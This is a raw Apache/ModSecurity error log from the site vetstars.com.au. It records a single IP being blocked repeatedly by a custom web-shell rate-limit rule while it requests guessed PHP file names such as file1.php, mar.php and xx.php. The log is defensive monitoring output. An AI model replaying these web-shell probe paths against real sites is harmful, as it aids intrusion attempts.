[Wed Dec 17 04:12:19.155285 2025] [:error] [pid 61378:tid 61385] [client 135.235.159.29:43125] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/js.php"] [unique_id "aUG9Ix5G6F9PXKmYDCSH3QAAAAI"]
[Wed Dec 17 04:12:19.813315 2025] [:error] [pid 61380:tid 61448] [client 135.235.159.29:47198] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUG9I1DXNylu9SqhT6oOKQAAAIo"]
[Wed Dec 17 04:12:28.540604 2025] [:error] [pid 61472:tid 61476] [client 135.235.159.29:50535] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUG9LBAY-vW9raLQk19WkwAAAMI"]
[Wed Dec 17 04:12:30.155191 2025] [:error] [pid 61379:tid 61428] [client 135.235.159.29:45831] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUG9LlX4E86rnrNa_8NtNQAAAFE"]
[Wed Dec 17 04:12:32.191595 2025] [:error] [pid 61472:tid 61489] [client 135.235.159.29:52967] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/file1.php"] [unique_id "aUG9MBAY-vW9raLQk19WoAAAAM8"]
[Wed Dec 17 04:12:36.906729 2025] [:error] [pid 61378:tid 61387] [client 135.235.159.29:57108] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aUG9NB5G6F9PXKmYDCSIGgAAAAQ"]
[Wed Dec 17 04:12:38.125479 2025] [:error] [pid 61378:tid 61392] [client 135.235.159.29:45870] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aUG9Nh5G6F9PXKmYDCSIJwAAAAk"]
[Wed Dec 17 04:12:40.283319 2025] [:error] [pid 61378:tid 61388] [client 135.235.159.29:43987] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aUG9OB5G6F9PXKmYDCSILAAAAAU"]
[Wed Dec 17 04:12:41.901477 2025] [:error] [pid 61378:tid 61400] [client 135.235.159.29:45824] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/mar.php"] [unique_id "aUG9OR5G6F9PXKmYDCSIMwAAABE"]
[Wed Dec 17 04:12:42.793987 2025] [:error] [pid 61380:tid 61461] [client 135.235.159.29:6920] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aUG9OlDXNylu9SqhT6oOcAAAAJc"]
[Wed Dec 17 04:12:43.899181 2025] [:error] [pid 61380:tid 61444] [client 135.235.159.29:47292] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aUG9O1DXNylu9SqhT6oOdQAAAIY"]
[Wed Dec 17 04:12:44.737199 2025] [:error] [pid 61380:tid 61451] [client 135.235.159.29:45830] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aUG9PFDXNylu9SqhT6oOdgAAAI0"]
[Wed Dec 17 04:12:46.032966 2025] [:error] [pid 61472:tid 61497] [client 135.235.159.29:45599] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/123.php"] [unique_id "aUG9PhAY-vW9raLQk19WxQAAANc"]
[Wed Dec 17 04:12:46.815764 2025] [:error] [pid 61379:tid 61425] [client 135.235.159.29:53759] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aUG9PlX4E86rnrNa_8NtWAAAAE4"]
[Wed Dec 17 04:12:47.776146 2025] [:error] [pid 61380:tid 61441] [client 135.235.159.29:45603] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aUG9P1DXNylu9SqhT6oOewAAAIM"]
[Wed Dec 17 04:12:48.780693 2025] [:error] [pid 61380:tid 61460] [client 135.235.159.29:45595] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aUG9QFDXNylu9SqhT6oOgQAAAJY"]
[Wed Dec 17 04:12:49.931357 2025] [:error] [pid 61379:tid 61426] [client 135.235.159.29:6611] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/321.php"] [unique_id "aUG9QVX4E86rnrNa_8NtXAAAAE8"]
[Wed Dec 17 04:12:50.705961 2025] [:error] [pid 61379:tid 61419] [client 135.235.159.29:55476] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aUG9QlX4E86rnrNa_8NtXgAAAEg"]
[Wed Dec 17 04:12:51.838895 2025] [:error] [pid 61380:tid 61442] [client 135.235.159.29:43973] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aUG9Q1DXNylu9SqhT6oOigAAAIQ"]
[Wed Dec 17 04:12:53.602570 2025] [:error] [pid 61380:tid 61441] [client 135.235.159.29:56481] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aUG9RVDXNylu9SqhT6oOjQAAAIM"]
[Wed Dec 17 04:12:54.834716 2025] [:error] [pid 61472:tid 61477] [client 135.235.159.29:6598] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/simple.php"] [unique_id "aUG9RhAY-vW9raLQk19W3AAAAMM"]
[Wed Dec 17 04:12:55.547385 2025] [:error] [pid 61472:tid 61485] [client 135.235.159.29:55456] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUG9RxAY-vW9raLQk19W4gAAAMs"]
[Wed Dec 17 04:12:56.526939 2025] [:error] [pid 61472:tid 61496] [client 135.235.159.29:53036] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUG9SBAY-vW9raLQk19W5wAAANY"]
[Wed Dec 17 04:12:59.218871 2025] [:error] [pid 61380:tid 61443] [client 135.235.159.29:47250] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUG9S1DXNylu9SqhT6oOlQAAAIU"]
[Wed Dec 17 04:13:00.522308 2025] [:error] [pid 61379:tid 61413] [client 135.235.159.29:6252] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/classwithtostring.php"] [unique_id "aUG9TFX4E86rnrNa_8NteAAAAEI"]
[Wed Dec 17 04:13:01.550717 2025] [:error] [pid 61378:tid 61389] [client 135.235.159.29:53008] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aUG9TR5G6F9PXKmYDCSIZAAAAAY"]
[Wed Dec 17 04:13:04.148315 2025] [:error] [pid 61380:tid 61453] [client 135.235.159.29:6210] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aUG9UFDXNylu9SqhT6oOoAAAAI8"]
[Wed Dec 17 04:13:05.022706 2025] [:error] [pid 61380:tid 61442] [client 135.235.159.29:6224] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aUG9UVDXNylu9SqhT6oOpAAAAIQ"]
[Wed Dec 17 04:13:06.712758 2025] [:error] [pid 61378:tid 61391] [client 135.235.159.29:6253] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/al.php"] [unique_id "aUG9Uh5G6F9PXKmYDCSIiwAAAAg"]
[Wed Dec 17 04:13:08.176751 2025] [:error] [pid 61380:tid 61459] [client 135.235.159.29:55469] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aUG9VFDXNylu9SqhT6oOswAAAJU"]
[Wed Dec 17 04:13:09.646095 2025] [:error] [pid 61378:tid 61397] [client 135.235.159.29:42040] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aUG9VR5G6F9PXKmYDCSInQAAAA4"]
[Wed Dec 17 04:13:11.751865 2025] [:error] [pid 61378:tid 61390] [client 135.235.159.29:56938] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aUG9Vx5G6F9PXKmYDCSIpAAAAAc"]
[Wed Dec 17 04:13:14.277795 2025] [:error] [pid 61378:tid 61400] [client 135.235.159.29:42045] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xx.php"] [unique_id "aUG9Wh5G6F9PXKmYDCSIqQAAABE"]
[Wed Dec 17 04:13:15.746233 2025] [:error] [pid 61472:tid 61484] [client 135.235.159.29:54905] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aUG9WxAY-vW9raLQk19XawAAAMo"]
[Wed Dec 17 04:13:17.424363 2025] [:error] [pid 61472:tid 61476] [client 135.235.159.29:48564] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aUG9XRAY-vW9raLQk19XdQAAAMI"]
[Wed Dec 17 04:13:18.264309 2025] [:error] [pid 61378:tid 61390] [client 135.235.159.29:57875] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aUG9Xh5G6F9PXKmYDCSIvQAAAAc"]
[Wed Dec 17 04:13:18.971906 2025] [:error] [pid 61378:tid 61403] [client 135.235.159.29:54908] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jga.php"] [unique_id "aUG9Xh5G6F9PXKmYDCSIwQAAABQ"]
[Wed Dec 17 04:13:20.816159 2025] [:error] [pid 61378:tid 61401] [client 135.235.159.29:49808] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUG9YB5G6F9PXKmYDCSI0AAAABI"]
[Wed Dec 17 04:13:22.390112 2025] [:error] [pid 61379:tid 61412] [client 135.235.159.29:54942] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUG9YlX4E86rnrNa_8Nt8gAAAEE"]
[Wed Dec 17 04:13:30.665111 2025] [:error] [pid 61379:tid 61418] [client 135.235.159.29:48536] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUG9alX4E86rnrNa_8NuCQAAAEc"]
[Wed Dec 17 04:13:32.323796 2025] [:error] [pid 61472:tid 61476] [client 135.235.159.29:54964] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUG9bBAY-vW9raLQk19XqwAAAMI"]
[Wed Dec 17 04:13:34.098632 2025] [:error] [pid 61378:tid 61406] [client 135.235.159.29:49829] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/num.php"] [unique_id "aUG9bh5G6F9PXKmYDCSI-QAAABc"]
[Wed Dec 17 04:13:35.614173 2025] [:error] [pid 61378:tid 61403] [client 135.235.159.29:49426] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aUG9bx5G6F9PXKmYDCSI_QAAABQ"]
[Wed Dec 17 04:13:36.093281 2025] [:error] [pid 61379:tid 61424] [client 135.235.159.29:57579] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aUG9cFX4E86rnrNa_8NuGQAAAE0"]
[Wed Dec 17 04:13:37.039773 2025] [:error] [pid 61379:tid 61429] [client 135.235.159.29:57591] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aUG9cVX4E86rnrNa_8NuHwAAAFI"]
[Wed Dec 17 04:13:38.836778 2025] [:error] [pid 61380:tid 61459] [client 135.235.159.29:6977] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ty.php"] [unique_id "aUG9clDXNylu9SqhT6oPCgAAAJU"]
[Wed Dec 17 04:13:40.423664 2025] [:error] [pid 61379:tid 61413] [client 135.235.159.29:48506] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aUG9dFX4E86rnrNa_8NuKAAAAEI"]
[Wed Dec 17 04:13:41.736084 2025] [:error] [pid 61380:tid 61447] [client 135.235.159.29:54189] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aUG9dVDXNylu9SqhT6oPDwAAAIk"]
[Wed Dec 17 04:13:43.129683 2025] [:error] [pid 61379:tid 61430] [client 135.235.159.29:41419] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aUG9d1X4E86rnrNa_8NuMgAAAFM"]
[Wed Dec 17 04:13:44.402147 2025] [:error] [pid 61380:tid 61446] [client 135.235.159.29:51336] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/buy.php"] [unique_id "aUG9eFDXNylu9SqhT6oPFgAAAIg"]
[Wed Dec 17 04:13:44.985889 2025] [:error] [pid 61472:tid 61482] [client 135.235.159.29:54973] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUG9eBAY-vW9raLQk19XzgAAAMg"]
[Wed Dec 17 04:13:45.381191 2025] [:error] [pid 61380:tid 61441] [client 135.235.159.29:54972] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUG9eVDXNylu9SqhT6oPHQAAAIM"]
[Wed Dec 17 04:13:46.005678 2025] [:error] [pid 61472:tid 61474] [client 135.235.159.29:49813] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUG9ehAY-vW9raLQk19X1QAAAMA"]
[Wed Dec 17 04:13:47.180454 2025] [:error] [pid 61472:tid 61494] [client 135.235.159.29:41442] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/abcd.php"] [unique_id "aUG9exAY-vW9raLQk19X3QAAANQ"]
[Wed Dec 17 04:13:48.145956 2025] [:error] [pid 61379:tid 61420] [client 135.235.159.29:41423] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUG9fFX4E86rnrNa_8NuPgAAAEk"]
[Wed Dec 17 04:13:49.957398 2025] [:error] [pid 61378:tid 61385] [client 135.235.159.29:57915] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUG9fR5G6F9PXKmYDCSJHAAAAAI"]
[Wed Dec 17 04:13:51.453264 2025] [:error] [pid 61378:tid 61395] [client 135.235.159.29:49799] [client 135.235.159.29] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/c.php"] [unique_id "aUG9fx5G6F9PXKmYDCSJHwAAAAw"]
